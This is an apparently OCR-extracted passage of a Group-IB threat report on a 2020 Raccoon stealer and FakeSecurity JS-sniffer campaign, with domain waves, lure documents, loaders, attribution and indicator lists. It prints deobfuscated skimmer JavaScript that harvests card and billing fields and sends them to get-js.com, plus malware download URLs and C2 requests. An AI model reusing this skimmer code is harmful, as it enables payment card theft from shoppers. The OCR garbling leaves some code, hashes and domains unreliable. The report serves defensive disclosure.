d0587g9z04ewhQTz3eykpel KiviBdEs+xXVkmiTkC
BAdgBBEKI+ TfMv4d=0c-v3e

% et e i
Liescription

:[:}

Motifications C‘

VIEW CHAMMEL

Join Channel

Report

blintick Telegram channel and its description

Although the Raccoon stealer is distributed according to the MaaS model, all files distributed during the
second wave accessed the same Telegram channel. This suggests that documents with malicious macros

downloading Raccoon were distributed by the same group.

Third wave

The third wave of domain registration began on June 29, 2020:

microsoft-cloud1[.]co.za
e microsoft-cloud6[.]co.za
e microsoft-cloud7[.]co.za
» microsoft-cloud8[.]co.za
o microsoft-cloud9[.]co.za

e microsoft-cloud10[.]co.za
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e microsoft-cloud11[.]co.za
e microsoft-cloud12[.]co.za
o microsoft-cloud13[.]co.za
e microsoft-cloud14[.]co.za

e microsoft-cloud15[.]co.za

All registered domains pointed to the IP address 102.130.112[.]195. The first malicious files associated with this
wave began to appear in public sandboxes as early as July 2, 2020. The names of these decoys are almost the same

as the names of the files sent in the past: BankStatement0109_13169.xIsm, My_Statement_4211.xIsm, and so on.

There are about 30 files associated with the domains and cloud-server-updateri[.]co.za.

Network infrastructure. File connections with domains involved in two waves established with the help of Group-
IB Graph Network Analysis

The lure documents used as part of this wave look identical to the previous ones. Judging by their behavior after
macros are activated, they were created by the same builder. Such builders make it possible to create office
documents with malicious macros based on templates, which helps attackers distribute malicious files much faster

and more efficiently.
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This document is protected. Please click "
Editing", then "Enable Content" to show c(

618C894C06633E3D7ADD228531F6E775A180A7F7 lure document sample

Upon activating macros, the file “My_Statement_1953.xIsm” (SHA1:
618C894C06633E3D7ADD228531F6E775A180A7F7) sends a request to download the stealer file
http://microsoft-cloud13[.]co.za/msofficeupdate.exe. The Raccoon stealer file (SHA1:
6639081791A8909F042E4A4197DF7051382B04ES5) makes a series of requests to its C&C server
(35.198.88].]1195) and tries to download the file http://cloud-server-updater1[.]co.za/doc/officeupdate.exe, but
receives an “error 302” and is redirected to http://cloud-server-updater1[.]co.za/cgi-sys/suspendedpage.cgi
because the original domain is blocked. It seems that the sample was trying to download RAT AveMaria as before.
In addition, all files related to this campaign made various network requests, including those to the Telegram
channel https://telete.in/blintick.
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< 6639081791a8909f042e4a4197df7051382b04e5 X

Pragma: no-cache

Content-Type: multipart/form-data, boundary=4k683b59nd8j798843458n
Content-Length: 29881

Host: 35.193.88.195

hittp://35.198.88.195/gate/libs.zip

GET /gate/libs.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLCC2;
.NET CLR 2.8.58727; .NET CLR 3.5.38729; _NET CLR 3.8.38729; Media Center PC 6.8;
-NET4.8C; .NET4.8E)

Host: 35.198_88.19%

Connection: Keep-Alive

http://cloud-server-updater1.co.za/doc/officeupdate.exe

GET /doc/officeupdate.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/f4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLCC2;
.NET CLR 2.8.58727; .NET CLR 3.5.38729; _NET CLR 3.8.38729; Media Center PC 6.8;
-NET4.8C; .NET4.8E)

Host: cloud-server-updaterl.co.za

Connection: Keep-Alive

https://telete.in/blintick

6639081791A8909F042E4A4197DF7051382B04E5 Raccoon stealer network communication

Using loaders
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During this campaign, the attackers also experimented with various loaders. While analyzing the

infrastructure, we discovered the Buer and Smoke loaders.

On April 30, 2020, an xIs document (SHA1: 6c6680659b09d18ccab0f933daf5bf1910168b1a) was uploaded to
VirusTotal. When the malicious code is executed, it downloads the payload from http://cloud-server-

updater2.col.]za/doc/buer.exe.

Graph  ccssssssmossraccaonssasisrisiorsanta < 6c6680659b09d18ccab0fI33daf5bf1910168b1a

HTTP

URL & Request

hitp://cloud-server-updater2.co.za/doc/buer.exe

GET /doc/buer.exe HTTP/1.1
cc

666806595091 8ccab0f933dafSbi1910168b1a

@ v

102.130.119.142 http://cloud-server-updater2.co.za/doc/buer.exe

cloudupdates.co.za

SID_1002753

SHA1:6c6680659b09d18ccab0f933daf5bf1910168b1a file network communication established with the help of
Group-IB Graph Network Analysis

Apart from that, the files were uploaded to a public resource: bazaar.abuse[.]ch.
The file names and the tags attached refer to the Buer loader.

While monitoring the adversary infrastructure, we identified a batch of domains registered by the attackers

between August 24 and September 12, 2020. Examples of such domains are presented below:

Domain name Registration date IP address
code-cloud[1-6][.]co.za 08/24/2020 102.130.115.44
google-document[.]co.za 08/24/2020 102.130.115.44
azure-cloud[1-4][.]co.za 09/04/2020 102.130.119.232
azure-cloud[1-3].web.za 09/04/2020 102.130.119.232
updateadobeonline[.]co.za 09/08/2020 102.130.115.44
updateforadobenew[.]co.za 09/09/2020 102.130.118.209
oneupdateadobe[1-4][.]co.za 09/09/2020 102.130.118.209
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Domain name Registration date IP address

updateadobe[.]co.za 09/12/2020 102.130.121.74
RegistrarWhois: HOSTAFRICA Domain:code-cloudi.co.za
PhoneWhois: +27.215543096 Domain:code-cloud.co.za
NSWhois: ns1.host-ww.net Domain:updateforadobenew.co.za
NSWhois: ns2.host-ww.net Domain:updateadobe.co.za
WhoisServerWhais: Registrar URL: https://www.hostafrica.co.za Domain:oneupdateadobe.co.za
MMNameSOARecord: ns1.host-ww.net Domain:code-cloud?2.co.za
NSRecord: ns2.host-ww.net Domain:google-document.co.za
NSRecord: ns1.host-ww.net Domain:azure-cloud.co.za

RNameSOARecord: noc.host-ww.net

Similar WHOIS domain records

The WHOIS records for these domains match the WHOIS records for those discovered previously in this
campaign. On August 26, 2020, malicious files related to the domains code-cloud[1-6][.]co.za and google-
document][.]co.za began appearing on public resources. One of these files is “BankStatement_1390868739.doc”
(SHA1: ed5c20371bae393df0a713be72220b055e5cbdad).

Graph  swesocmencon < ed5c20371bae393df0a713be72220b055e5chdad

HTTP

URL & Request

hitp://google-document.co.za/doc/loader.exe
hitp://google-document.co.za/doc/loader.exe

ed5c20371bae393df0a713be72220b055e5chdad

©

google-document.co.za

SHA1: ed5c20371bae393df0a713be72220b055e5cbdad file network communication established with the help of
Group-IB Graph Network Analysis

When the malicious code is executed, the file downloads the payload from http://google-

document][.]co.za/doc/loader.exe. Signature analysis showed that the downloaded file is a Smoke loader sample.
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Database Entry

1D:

URL:

URL Status:
Host:

Date added:

Threat:

Google Safe Browsing:

Spamhaus DBL [£:
SURBL [:

Quad9 [:
AdGuard [

Reporter:

Abuse complaint sent (?):

Takedown time:

Tags:

https://www.group-ib.com /blog/fakesecurity_raccoon

441030

h http://google-document.co.za/doc/loader.exe

@ google-document.co.za
2020-08-25 15:04:08 UTC
& Malware download
 Clean |

Anonymous

B Yes (2020-08-25 15:06:02 UTC to abusepoc{at}afrinic[dot]net)

17 days, 0 hours, 5 minutes @ (down since 2020-09-11 15:11:18 UTC)

Smoke Loader

“loader.exe” file analysis and Smoke loader tag

The fact that the cybercriminals additionally use loaders in their campaigns could indicate that they are

still searching for the most effective tools.

Fourth wave

Some of the domains registered in early September 2020 mimicked Adobe in their names. From September 14,

2020, Group-IB experts found Mephistophilus with an identical pattern on these hosts, just like during the first

wave.
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Connection between the Mephistophilus infrastructure and the 2019 and 2020 campaigns established with the help
of Group-IB Graph Network Analysis

Plugin update required
\
his document cannot be displayed correctly

You are using an olde ion of Adobe Reader PDF Plugin

for Google Chrome

Download plugin

Adobe Reader
T -f

Screenshot of a Mephistophilus decoy page

Page 26 of 37



https://www.group-ib.com /blog/fakesecurity_raccoon

Clicking on the “Download” plugin button downloads the Raccoon stealer file SHA1:
bcfb45e5451435530156f1f02ddbb9cadf6338e9 from https://updateforadobenew].]co.za/file_d/adobe-reader-
v13.11.1.3.exe.

Dashboard NKITA >

P eport X6 % EXPORT REPORT
Incidents

Investigation

adobe readerv13.11.1.2.exe

o 3 @
< h -} A I!.“_’

PE32 executable (GUI) Intel 803
Settings

Behavioral markers

<« Collapse menu

£  Archive (soc)

Incidents

MITRE ATT&CK Matrix  cor L ]
Execution Persistence vilege Esc Credential Access DI Command and ¢ Impaet

Installuti Modify Existing Servive [l Process injection nstalluti Service stop.
Layer Protocol
Investigation

Control Panel tems Service Registry Service Registry Control Panel tems
Permissions Weakness [l Permissions Weakness Evasion

I Graph

Compiled HTML File
Settings
Line

DLL Side-Loading

Disabiing Security Tools.

‘Compiled HTML File

<« Collapse menu

)  Archive (SOC)

MITRE ATT&CK matrix of the file analyzed

Note: Around mid-July 2020, the attackers deleted their Telegram channel. It was restored on September 14, 2020
and the description contained the encrypted address of the active C&C server. At the time of writing, the channel

is inactive again.
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blintick
4 subscribers

Q 0

L L

| September 14

Channel created ‘

blintick

blintick Telegram channel content

Relation to FakeSecurity

This malicious campaign bears a striking resemblance to a series of FakeSecurity JS-sniffer attacks
described by Group-IB in November 2019. Past attacks targeted owners of online stores powered by Magento
CMS. In the campaign described previously, the attackers also used such tools as the Vidar stealer and the
Mephistophilus phishing kit, with an identical template for Adobe updates. In addition, the attackers used the same
hosting service to register domains in both campaigns.

In the 2020 campaign, the same attack vector was used and involved subsequent distribution of the
Raccoon stealer. In addition, the investigation revealed messages sent to several online stores from

bezco.quise1988@wp.pl and outtia.lene1985@wp.pl.

A detailed analysis of the first-wave malware distribution via Mephistophilus phishing pages revealed a link
between the domains involved in this campaign (in particular documents-cloud-server*[.]co.za) and the

FakeSecurity campaign. During the 2020 campaign, phishing pages were available at the following URLs:
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e . cuments-clot za/view/public/Statement00810014/PDF/StatmentO.. 5months 294 KB 7 3 2 B=
e . cuments-cloud- za/view/public/Statement00810014/PDF/StatmentO.. 5months 295KB 7 3 2 B=
e . documents-cloud-serveré.co.za/view/public/Statement00810014/PDF/StatmentO.. 5 months 294KB 7 3 2 B=
(3 T cuments-cloud-server2.co.za/view/public/Statement00810012/PDF/StatmentO.. 5months 294KB 7 3 2 B=
i I documents-cloud-server2.co.za/view/public/Statement00810012/PDF/StatmentO.. 5 months 294KB 7 3 2 =
adobeupdateplugins.com/view/public/BankStatement/PDF/Statment00810012.pdf 7 months 294 KB 8 4 4 B
adobeupdateplugins.com/view/public/BankStatement/PDF/Statment00810012.pdf 7 months 294KB 8 4 4 B
adobeupdateplugins.cc public/BankStatement/PDF/Statment00810012.pdf 7 months 294 KB 8 4 4 B
vww.updatepluginsnetwork.com/view/public/BankStatement040391/PDF/Statment0081.. 7 months 294KB 7 3 2 B=
oaypparel.com/view/public/Statement00534521/PDF/Statement00 18- ayear 294KB 7 <) 2 e
locument.mage-sect w/public/my_5/PDF/eStmt1.pdf ayear 294KB 7 3 2 e

List of domains with an identical structure

According to urlscanl.]io, more than 20 sites with a similar structure were discovered, but the one that stands out

is alloaypparel[.Jcom. It was used in the FakeSecurity campaign.

Since March 2020, Group-IB specialists have started detecting online store infections with a JS sniffer obfuscated
by the aaencode algorithm (https://utf-8.jp/public/aaencode.html). The malware was loaded from get-js[.]Jcom.

WHOIS records similar to those used previously by this group were located at get-js[.]Jcom:

» fiswedbesign[.]Jcom

« alloaypparel[.]Jcom

o firstofbanks[.]Jcom

e magento-security[.]org

e mage-security[.]org

magento-security.org

Mephistoptius

firstofbanks.com
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Connection between FakeSecutiry infrastructure during the 2019 campaign and the domain get-js[.]Jcom built with

the help of Group-IB Graph Network Analysis
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e
o) '] Ce+(Co)lol+ CO)Cel+Ce
€

)+ ((0~_"0) +(0”*_"~0))+ ((0”~_"~0) +(0™_"0))+ ('D.’)[’ € 1+(" g
@)+ COICETHC )+ (e o)+ (O)CEI+CE )+ (=) + (0~_m0))+ (e~ o)+ (D) e 1+(- )+ (c
cr o)+ (O el+(Ce)+ C- )+ C-)+ CO)eE]+C0 )+ (=) + CO))+ (=) + (0~_"0))+ (O
W)+ CO)EIHCO )+ (C-) + CON+(C-) + Co))+ (I EI+CO)+ =)+ () + (0 )+
((0~_~0) +(o~_"0))+ (=" )+ (M) EI+((-") + (0 ))+ ({0~_"0) +(o~_"0))+ (O )[e1+(C0 )+ (- )+
I 1+00 )+ ((0~_"0) +(0™™0))+ =)+ (D)L I+ )+ (¢ )+ (=) + (0 ))+ OO 1+(
WICeEI+Ce)+ (C-) + CoON+ (C-) + CO )+ COIE1+CO0)+ C-)+ (C-) + (C0))+ O E
+(0~ ™))+ (- )+ (O e 1+(0 )+ ((0~_"0) +(0~_"0))+ (0~ o)+ (O )[ € ]+( 0 )+ (c*_~0)+ ((0™_"0
((0* ™) - (ON+ =)+ (o) el+Ce)+ =)+ (Co)+ (O)Cel+Co)+ =)+ (=) + (0”~_"0))
)+ COICEI+CO )+ (C-) + CON+ (C-) + €O+ COICE1+CO)+ =)+ (C-) + (06 ))+ (]
IC]+0C0 )+ )+ ((02_%0) - (0 ))+ (D) e 1+(0 )+ ((0~_"0) +(0*_"0))+ () + (C0))+ (
+(or o))+ (- )+ COICEI+CO)+ (=) + (C0))+ (=) + (0~ )+ (D) e1+(0)+ (=) + (
TICeEI+(C-") + (0 ))+ {’B')+ cor E’]+(('-’) + (o“_"o))+ (o~ ~0)+ (O I+ - )+ (c~_"0)+
((o" ~0) +(0~_"0))+ ( D)Cel+(Ce)+ (-)+ (0 )+ OO a 1+C @ )+ ((0~_"0) +(o" ~0))+ ((0™_"0)
B 4+ (o) 1+(C-) + (0~_"0))+ (0~ "o)+ (CO)CE]+C-")+ (e~ ")+ (D) 1+(°0 )+ ((0~_"0)

3 0))+ (=) + (0o~_"0))+ ((O)[ e 1+(°0 )+ ((0”_"0) +(0”_"0))+ ((0*_"0) - (0 ))+ CO)[

+ (
+ ((0))+ (CO)+ (CMICe 1+ (=) + (o~ o))+ (C-") + (C0))+ (@) e 1+((0™_"0) +(0™_"0))
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Part of JS-sniffer code obfuscated with aaencode

After deobfuscating it, Group-IB established that the malware used for infections was a modified version of

the FakeSecurity JS-sniffer. Its distribution was analyzed in November 2019.
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var fname = document.getElementById("billing:firstname").value;
var lname = document.getElementById("billing: lastname").value;
var email = document.getElementById("billing:email").value;
var telephone = document.getElementById("billing:telephone").value;
var post = document.getElementById("billing:postcode").value;
var street document.getElementById("billing:streetl").value;
var city = document.getElementById("billing:city").value;
var el = document.getElementById("billing:region_id");
var state - el.options[el.selectedIndex].innerHTML;
var e2 = document.getElementById("billing:country_id");
var country - e2.options[e2.selectedIndex].value;
var ccnum = document.getElementById("authorizenet_cc_number").value;
var cvv document.getElementById("authorizenet_cc_cid").value;
var e3 = document.getElementById("authorizenet_expiration");
var exp_m = e3.options[e3.selectedIndex].value;
var e4 = document.getElementById("authorizenet_expiration_yr");
var exp_y - e4.options[ed4.selectedIndex].value;
var result = ccnum+";"+exp_m+";"+exp_y+";"+cvv+";"+fname+";"+1name+";"+street+";" +country+";"+post
";"+state+";"+city+";"+telephone+" ;" +email ";null;null;null;vate.com;";
var n = document.createElement("img");
var myStr = result;
var key = 41;

function crypt(str, key){
var newstr g
(let i-0; i < str.length; i++) {
let char str.charCodeAt(i) key;
newstr String.fromCharCode(char);

newstr;

}
var resultl - btoa(crypt(myStr,key));

n.src = "https://get-js.com/post.php?payment="+resultl;
}

});

}

Deobfuscated code of the FakeSecurity JS-sniffer modified version

In May 2020, Group-IB discovered new infected online stores. Once again, the attackers used a modified
FakeSecurity JS-sniffer obfuscated with aaencode. The malware was injected either by a link using a script tag or
by modifying existing JavaScript files on the site. The JS-sniffer was used to compromise over 20 online stores
between May and September 2020. The following domains were used to store the code and collect stolen bank

card data during the new campaign:

e cloud-js[.]co.za

e host-js[.]co.za

e magento-cloud[.]co.za

e magento-js[.]co.za

e magento-security[.]co.za

o marketplace-magento[.]co.za
e marketplacemagento[.]co.za
e node-js[.]co.za

e node-js[.]co.za

e payment-js[.]co.za

e security-js[.]co.za
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e web-js[.]co.za

Created on April 24, 2020 (during the second wave), these domains were registered with the same registrars as

those used to distribute the Vidar and Raccoon stealers and the Buer and Smoke loaders.

The format of the links to the JS-sniffer files combined with the malware family type suggest that

FakeSecurity JS-sniffer operators are behind the campaign to infect online stores.

In addition, some domains involved in the campaign under investigation hosted a parked page labeled “test page”,
like the one hosted on FakeSecurity domains:

e https://urlscan.io/result/0299b3e5-cbba-40be-adce-7ba437e4cb39/ microsoft-cloud10[.]co.za
« https://urlscan.io/result/8f244d1b-2186-4db5-9¢52-6122584dafa9/ — documents-cloud-server|[.]co.za

nicrosoft-cloud10.co.za

b=

IRL: http://microsaoft-cloud10.co.za/
ubmission: On July 06 via manual (July éth 2020, 12:41:20 pm) from DE ==l

ﬁSummary S HTTP 1 W Behaviour 4 Indicators & similar Epom K cContent ERAPI
ummary Screenshot :] 21 FullImage

This website contacted 1 1Ps in 1 countries across 1 domains to perform 1 HTTP transactions.

ThemainIPis 102.130.112.195, located in South Africa and belongs to xneelo, ZA. The main
domain is microsoft-cloud10.co.za.

microsoft-cloud10.co.za scanned 3 times on urlscan.io

urlscan.io Verdict: (v}

Live information

Google Safe Browsing: @ Malicious

Examples of similar parked pages on JS-sniffer FakeSecurity's gate and domains in co.za zone

payment-js.co.za/ X

C' | @ payment-js.coza

this test page

Examples of similar parked pages on JS-sniffer FakeSecurity's gate and domains in co.za zone

hitps:finode-js.org.za: 443/

hitps:/inode-js.org.za: 443/ index.php

test page
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Examples of similar parked pages on JS-sniffer FakeSecurity's gate and domains in co.za zone

The evidence found indicates that the operators of the FakeSecurity JS-sniffer family are likely to be
behind the multi-stage malicious campaign described above. According to our information, even though the
group gains initial access using non-self-developed tools sold or rented on darknet forums, it continues to operate

its exclusive JS-sniffer.

Recommendations

Below you can see attackers’ TTPs and relevant mitigation and defense techniques in accordance with MITRE

ATT&CK and MITRE Shield that we recommend to use to protect against and prevent cyberattacks.

All the mitigation and defense techniques are implemented in Group-IB’s products intended for the protection
against cyberattacks at early stages. If you have any questions or suspect that you’re being attacked email us at

response@cert-gib.com.
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FakeSecurity's TTPs and relevant mitigation and
defense techniques in accordance with MITRE
ATTECK and MITRE Shield

Tactics Techniques Mitigations & Active
of adversaries Defense Techniques

Reconnaissance

Initial Access

Execution

Defense Evasion

Credential Access

Collection

Command and Control

Indicators
Raccoon
arrow_drop_down

cloud-server-updater[.]co.za

cloud-server-updater1[.]co.za
cloud-server-updater2[.]co.za
cloud-server-updater3[.]co.za

cloud-server-updater4[.]co.za
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cloud-server-updater5[.]co.za
cloud-server-updater6[.]co.za
cloud-server-updater7[.]co.za
cloud-server-updater8[.]co.za
cloud-server-updater9[.]co.za
cloud-server-updater10[.]co.za
cloud-server-updater11[.]co.za
cloud-server-updater12[.]co.za
cloud-server-updater13[.]co.za
cloud-server-updater14[.]co.za
cloud-server-updater15[.]co.za
cloud-server-updater16[.]co.za
cloud-server-updater17[.]co.za
cloud-server-updater18|[.]co.za
cloud-server-updater19[.]co.za
cloud-server-updater20[.]co.za
cloud-server-updater21[.]co.za
cloud-server-updater22[.]co.za
cloud-server-updater23[.]co.za
cloud-server-updater24/[.]co.za
cloud-server-updater25[.]co.za
cloud-server-updater26[.]co.za
cloud-server-updater27[.]co.za
cloud-server-updater28|[.]co.za
35.228.95[.]180
35.198.88[.]195
34.105.255[.]170
102.130.113[.155
34.105.219[.]183
oneupdateadobe[.]co.za
oneupdateadobe?[.]co.za
oneupdateadobe3[.]co.za
oneupdateadobe4[.]co.za
updateforadobenew[.]co.za
oneupdateadobe[.]org.za
oneupdateadobe?[.]org.za
oneupdateadobe3[.]org.za
microsoft-cloud1[.]co.za
microsoft-cloud6[.]co.za
microsoft-cloud7[.]co.za
microsoft-cloud8[.]co.za

microsoft-cloud9[.]co.za
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microsoft-cloud10[.]co.za
microsoft-cloud11[.]co.za
microsoft-cloud12[.]co.za
microsoft-cloud13[.]co.za
microsoft-cloud14[.]co.za
microsoft-cloud15[.]co.za

cloudupdates|.]co.za
FakeSecurity
arrow_drop_down

cloud-js[.]co.za
host-js[.]co.za
magento-cloud[.]co.za
magento-js[.]co.za
magento-security[.]co.za
marketplace-magentol.]co.za
marketplacemagento[.]co.za
node-js[.]co.za
node-js[.]co.za
payment-js[.]co.za
security-js[.]co.za

web-js[.]co.za
Mephistophilus
arrow_drop_down

documents-cloud-serverl[.]co.za
documents-cloud-server2[.]co.za
documents-cloud-server3|.]co.za
documents-cloud-server4[.]co.za
documents-cloud-server6|[.]co.za
documents-cloud-server7[.]co.za
documents-cloud-server8[.]co.za
documents-cloud-server9[.]co.za
documents-cloud-server|[.]co.za
oneupdateadobe[.]co.za
oneupdateadobe?[.]co.za
oneupdateadobe3[.]co.za
oneupdateadobe4[.]co.za
updateforadobenew][.]co.za

oneupdateadobe[.]org.za
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oneupdateadobe?[.]org.za
oneupdateadobe3[.]org.za

oneupdateadobe3[.]Jcom
Vidar and other malicious domains
arrow_drop_down

badlandsparks.com
gineuter.info
paunsaugunt.com
precambrianera.com
biscayneinn.com
msupdater|[.]co.za
cloudupdate[.]co.za
cloudupdates|.]co.za
securitycloudserver[.]co.za
fastandprettycleaner[.]Thk
download-plugin[.]co.za
download-plugins[.]Jco.za
downloadplugins|.]co.za
code-cloud1[.]Jco.za
code-cloud?[.]co.za
code-cloud3[.]co.za
code-cloud4][.]co.za
code-cloud5|[.]co.za
code-cloud6][.]co.za
google-document|[.]co.za
azure-cloud1[.]co.za
azure-cloud?[.]co.za
azure-cloud3[.]co.za
azure-cloud4.]co.za
azure-cloud1l.web.za
azure-cloud2.web.za
azure-cloud3].web.za

Updateadobeonline[.]co.za
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